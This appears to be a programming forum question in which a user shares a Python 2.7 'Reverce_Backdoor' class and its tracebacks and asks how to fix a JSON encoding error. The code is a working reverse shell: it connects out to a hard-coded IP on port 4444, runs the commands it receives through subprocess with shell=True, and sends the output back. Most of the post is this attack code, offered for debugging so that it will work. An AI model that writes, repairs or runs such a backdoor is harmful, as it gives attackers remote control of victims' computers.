I am successfully establishing a connection, but if I use json to transfer data, there is a problem. I need json to transfer large amounts of data
import json
import socket
import subprocess
class Reverce_Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.encode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command.encode('utf-8'))
self.reliable_send(command_result)
connection.close()
my_backdoor = Reverce_Backdoor("192.168.3.5", 4444)
my_backdoor.run()
I get an error :
C:\Python27\python.exe C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py
Traceback (most recent call last):
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 26, in run
self.reliable_send(command_result)
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 195, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
but this code works. the functionality is the same. https://github.com/Oleg9637/Python
can anyone help?
Even if I do:
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
print (command_result)
self.reliable_send(command_result)
connection.close()
I get:
Traceback (most recent call last):
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 32, in <module>
my_backdoor.run()
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 27, in run
self.reliable_send(command_result)
File "C:/Users/etoma/PycharmProjects/backdoor/reverce_backdoor.py", line 12, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 195, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x92 in position 1: invalid start byte
the connection is established, the command is transmitted correctly, but something goes wrong